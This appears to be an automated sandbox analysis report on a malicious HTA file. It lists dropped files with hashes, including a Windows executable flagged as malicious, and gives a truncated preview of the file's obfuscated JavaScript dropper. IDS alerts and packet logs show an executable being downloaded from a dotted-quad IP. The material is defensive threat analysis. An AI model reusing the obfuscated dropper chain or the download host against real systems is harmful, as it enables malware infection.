                                      Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...5.z.y.z.i.w.b.f...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...5.z.y.z.i.w.b.f...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

                                      C:\Users\user\AppData\Local\Temp\Glagolitic

                                      Download File
                                      Process:C:\Users\user\AppData\Roaming\winnit.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):289792
                                      Entropy (8bit):7.994669403497686
                                      Encrypted:true
                                      SSDEEP:6144:YEAaD0qK6K1SXPom559fNG9z+HsfcyfoSnPj+J:YE3BK1S/VL908HsUdSb+J
                                      MD5:63F3BA228146413B60B4C3036F6CC6E9
                                      SHA1:7558EB9BEAB56D2C5178B537E10FB6CA2A309EDA
                                      SHA-256:3E50544C522296B3C459D9B254107EACF4F7319DA8EF2A3D85EDEFBCC3C10060
                                      SHA-512:69BEB4B038B1FED8B8F6E74BE4A84E846DD7FABC4960A0DAD2766B66E3E93A382AC6A9E65AA9E753C20B935EE3AE6F017CBBE1337CD84760BA4E715D8DF2B8C4
                                      Malicious:false
                                      Preview:.o.UM1Z4\8AX.5F.W5KUN1ZtX8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X.AX9L*.FW.B.o.[x...0P1.6:8R94#.9U6V.,. Pf:"[k< ..{..,7]'.KE].KUN1Z4XA@Q..U!.jU,.sQ=.B..."R.R.i.V.....dY%..!4]v5).Z4X8AX9Be.HWyJTN..0.8AX9B5FH.5ITE0Q4XbEX9B5FHW5K.Z1Z4H8AXIF5FH.5KEN1Z6X8GX9B5FHW3KUN1Z4X81\9B7FHW5KUL1..X8QX9R5FHW%KU^1Z4X8AH9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z.,]9,9B5..S5KEN1Zn\8AH9B5FHW5KUN1Z4X.AXYB5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B

                                      C:\Users\user\AppData\Local\Temp\RES3925.tmp

                                      Download File
                                      Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                                      File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x492, 9 symbols, created Sat Dec 7 16:45:41 2024, 1st section name ".debug$S"
                                      Category:dropped
                                      Size (bytes):1336
                                      Entropy (8bit):3.9875834893563256
                                      Encrypted:false
                                      SSDEEP:24:Hjm9poYcXKH8SQwKTFexmfwI+ycuZhNWTakSJ8PNnqSSd:OjcXKcKKTAxmo1ulWTa3JsqSC
                                      MD5:682F641446597F8E0C3F67FEF95751A3
                                      SHA1:04F096BB44030AB1E04359FA758946BD9193B065
                                      SHA-256:27953B9A787738F1BA6EADFB851141FACAA1063EC653D2009BD08A010E8AF58F
                                      SHA-512:82E945E3952F31B4D7E98FD4276B312EE4EEE4F6195BB9868952B7D40A7DE48B593E126843F829BE6E542AFEFE114801ACA3AA3B5896B58AE294CD134000FA5C
                                      Malicious:false
                                      Preview:L....{Tg.............debug$S........T...................@..B.rsrc$01........X.......8...........@..@.rsrc$02........P...B...............@..@........U....c:\Users\user\AppData\Local\Temp\5zyziwbf\CSCADB73B4CC47C40A8804A92B1B0BD1E62.TMP..................9...Z..7..CeDT%...........5.......C:\Users\user\AppData\Local\Temp\RES3925.tmp.-.<....................a..Microsoft (R) CVTRES.].=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...5.z.y.z.i.w.b.f...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.

                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gjwt3tzc.v2e.ps1

                                      Download File
                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:ASCII text, with no line terminators
                                      Category:dropped
                                      Size (bytes):60
                                      Entropy (8bit):4.038920595031593
                                      Encrypted:false
                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                      Malicious:false
                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mos5rxu3.ovp.psm1

                                      Download File
                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:ASCII text, with no line terminators
                                      Category:dropped
                                      Size (bytes):60
                                      Entropy (8bit):4.038920595031593
                                      Encrypted:false
                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                      Malicious:false
                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nqum0uuf.v2f.ps1

                                      Download File
                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:ASCII text, with no line terminators
                                      Category:dropped
                                      Size (bytes):60
                                      Entropy (8bit):4.038920595031593
                                      Encrypted:false
                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                      Malicious:false
                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                      C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wohg2k5o.5u2.psm1

                                      Download File
                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:ASCII text, with no line terminators
                                      Category:dropped
                                      Size (bytes):60
                                      Entropy (8bit):4.038920595031593
                                      Encrypted:false
                                      SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                      MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                      SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                      SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                      SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                      Malicious:false
                                      Preview:# PowerShell test file to determine AppLocker lockdown mode

                                      C:\Users\user\AppData\Local\Temp\aut54AB.tmp

                                      Download File
                                      Process:C:\Users\user\AppData\Roaming\winnit.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):289792
                                      Entropy (8bit):7.994669403497686
                                      Encrypted:true
                                      SSDEEP:6144:YEAaD0qK6K1SXPom559fNG9z+HsfcyfoSnPj+J:YE3BK1S/VL908HsUdSb+J
                                      MD5:63F3BA228146413B60B4C3036F6CC6E9
                                      SHA1:7558EB9BEAB56D2C5178B537E10FB6CA2A309EDA
                                      SHA-256:3E50544C522296B3C459D9B254107EACF4F7319DA8EF2A3D85EDEFBCC3C10060
                                      SHA-512:69BEB4B038B1FED8B8F6E74BE4A84E846DD7FABC4960A0DAD2766B66E3E93A382AC6A9E65AA9E753C20B935EE3AE6F017CBBE1337CD84760BA4E715D8DF2B8C4
                                      Malicious:false
                                      Preview:.o.UM1Z4\8AX.5F.W5KUN1ZtX8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X.AX9L*.FW.B.o.[x...0P1.6:8R94#.9U6V.,. Pf:"[k< ..{..,7]'.KE].KUN1Z4XA@Q..U!.jU,.sQ=.B..."R.R.i.V.....dY%..!4]v5).Z4X8AX9Be.HWyJTN..0.8AX9B5FH.5ITE0Q4XbEX9B5FHW5K.Z1Z4H8AXIF5FH.5KEN1Z6X8GX9B5FHW3KUN1Z4X81\9B7FHW5KUL1..X8QX9R5FHW%KU^1Z4X8AH9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z.,]9,9B5..S5KEN1Zn\8AH9B5FHW5KUN1Z4X.AXYB5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B5FHW5KUN1Z4X8AX9B

                                      C:\Users\user\AppData\Roaming\winnit.exe

                                      Download File
                                      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                      Category:dropped
                                      Size (bytes):1213440
                                      Entropy (8bit):7.196631562868526
                                      Encrypted:false
                                      SSDEEP:24576:au6J33O0c+JY5UZ+XC0kGso6FazP6Qvmikfo2WY:su0c++OCvkGs9FazSQvfkfEY
                                      MD5:A97987DF137D1328F00AA6B81EBA4957
                                      SHA1:86D668C195909AE6A772B98EB59868D5B60D3195
                                      SHA-256:771CBB08F711A9AFB6EAA9846D0300C4828230B346FD41714B5B67A8B0BDCA62
                                      SHA-512:1E050E138C1255C76B1BE2035CC4FE68A1054693C027C1E569D80DE9326675B8E843E00E56A677435708913C0F2A8C4EA6A2217D8CC2DDCE030B3FBA6503E170
                                      Malicious:true
                                      Antivirus:
                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                      • Antivirus: ReversingLabs, Detection: 58%
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}.r}.r}.4,".p}.....s}../..A}../#..}../".G}.{.@.{}.{.P.W}.r}.R....)."}.....s}../..s}.r}T.s}.....s}.Richr}.................PE..L.....Pg.........."..................}............@..................................B....@...@.......@.....................L...|....p.......................p...q...+..............................pH..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc........p......................@..@.reloc...q...p...r..................@..B........................................................................................................................................................................................................................................................................................

                                      Static File Info

                                      General

                                      File type:HTML document, ASCII text, with very long lines (65536), with no line terminators
                                      Entropy (8bit):2.480878071998535
                                      TrID:
                                        File name:seemejkiss.hta
                                        File size:158'792 bytes
                                        MD5:1839f55f0cfed85d442ba37410e344ed
                                        SHA1:6aa8c00d5a6bac164de92c747ca049a7847b00a4
                                        SHA256:6af62cafa5b80900dbacfd9425e9f5411a39f0152eb63dfdd093ef229c9b350b
                                        SHA512:c7926ef50aba2aa138252d6f1b7bd7b3f5f87da5426c907ec39341a34b947c7bfd806a865ee48aeafe71c7af5ec79d1882aef34e88aea5b3539ab49da074a869
                                        SSDEEP:96:4owZw9d6yfabmrFyjbBs6beC9rKFEntjkaj8v3NrFyjbBs6beCt7OrKFEntjkajl:4Lwq041GcPNhzXQ
                                        TLSH:E7F31041A92410A5F7FD5E96ACEDB74E35A4221EDECD9D8D4327FB80DCA324BA4408DC
                                        File Content Preview:<script language=JavaScript>m='%3Cscript%20language%3DJavaScript%3Em%3D%27%253CScript%2520Language%253D%2527Javascript%2527%253E%250A%253C%2521--%2520HTML%2520Encryption%2520provided%2520by%2520tufat.com%2520--%253E%250A%253C%2521--%250Adocument.write%252

                                        Network Behavior

                                        Suricata IDS Alerts

                                        TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                        2024-12-07T15:47:45.492685+01002019714ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile2192.168.2.549706107.175.113.19680TCP
                                        2024-12-07T15:47:45.492739+01002022050ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M11107.175.113.19680192.168.2.549706TCP
                                        2024-12-07T15:47:45.772482+01002022051ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M21107.175.113.19680192.168.2.549706TCP

                                        Network Port Distribution

                                        TCP Packets

                                        TimestampSource PortDest PortSource IPDest IP
                                        Dec 7, 2024 15:47:44.248868942 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:44.368808985 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:44.368895054 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:44.369126081 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:44.488862038 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.492582083 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.492611885 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.492625952 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.492685080 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.492727041 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.492738962 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.492768049 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.492806911 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.492813110 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.492825985 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.492846966 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.492876053 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.492898941 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.493139982 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.493155003 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.493191957 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.612596035 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.612703085 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.612791061 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.616645098 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.620105982 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.684746981 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.684763908 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.684854031 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.688813925 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.688888073 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.688951015 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.697225094 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.697376966 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.697438955 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.705651045 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.705689907 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.705725908 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.705765009 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.714042902 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.714118958 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.714122057 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.714160919 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.722515106 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.722577095 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.722625971 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.730772018 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.730904102 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.730962038 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.739217043 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.739305973 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.739370108 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.747572899 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.747673035 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.747741938 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.755986929 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.756119013 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.756189108 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.764372110 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.764484882 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.764544010 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.772481918 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.772546053 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.876492977 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.876529932 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.876605034 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.877943993 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.877991915 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.878205061 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.878396988 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.883014917 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.883065939 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.883167028 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.883208036 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.888032913 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.888109922 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.888142109 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.888199091 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.893084049 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.893156052 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.893193960 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.893233061 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.897931099 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.898044109 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.898072958 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.898087025 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.902625084 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.902672052 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.902738094 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.902782917 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.907409906 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.907464981 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.907625914 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.907691002 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.912064075 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.912137985 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.912168980 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.912214994 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.916728973 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.916779995 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.916815042 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.916856050 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.921384096 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.921447039 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.921516895 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.921565056 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.926103115 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.926153898 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.926213980 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.926259995 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.930846930 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.930896044 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.930980921 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.931160927 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.935518026 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.935570002 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.935657024 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.935703039 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.940186024 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.940243006 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.940273046 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.940315962 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.944899082 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.944947958 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.945028067 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.945143938 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.949605942 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.949662924 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.949692965 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.949737072 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.954370022 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.954452991 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.954593897 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.954648018 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.959022045 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.959073067 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.959074020 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.959122896 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:45.963748932 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.963784933 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:45.963839054 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.068659067 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.068680048 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.068754911 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.069719076 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.069771051 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.069809914 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.069849014 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.073612928 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.073798895 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.073877096 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.077512026 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.077650070 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.077714920 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.081470966 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.081613064 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.081676960 CET4970680192.168.2.5107.175.113.196
                                        Dec 7, 2024 15:47:46.085378885 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.085447073 CET8049706107.175.113.196192.168.2.5
                                        Dec 7, 2024 15:47:46.085506916 CET4970680192.168.2.5107.175.113.196
